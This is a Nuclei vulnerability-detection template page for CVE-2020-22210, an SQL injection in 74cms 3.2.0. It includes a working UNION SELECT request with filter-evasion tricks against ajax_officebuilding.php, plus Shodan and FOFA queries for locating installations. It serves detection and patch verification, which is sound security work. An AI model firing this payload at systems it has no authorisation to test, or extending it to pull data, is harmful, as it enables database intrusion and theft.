74cms - ajax_officebuilding.php SQL Injection

ID: CVE-2020-22210

Severity: critical

Author: ritikchaddha

Tags: cve,cve2020,74cms,sqli

Description

A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php.

YAML Source

id: CVE-2020-22210

info:
  name: 74cms - ajax_officebuilding.php SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_officebuilding.php file.
  reference:
    - https://github.com/blindkey/cve_like/issues/11
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22210
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22210
    cwe-id: CWE-89
    epss-score: 0.18558
    epss-percentile: 0.96216
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022100b818d0bdb7adbf2358b902c211f6721c20a88ce4471b9b1d402bb50ed11a3d2802205b3106f026943c5355b2bd1710eb14cc0f70fdb7c840df5e0b6800ade2f2f77b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-22210.yaml"

View on Github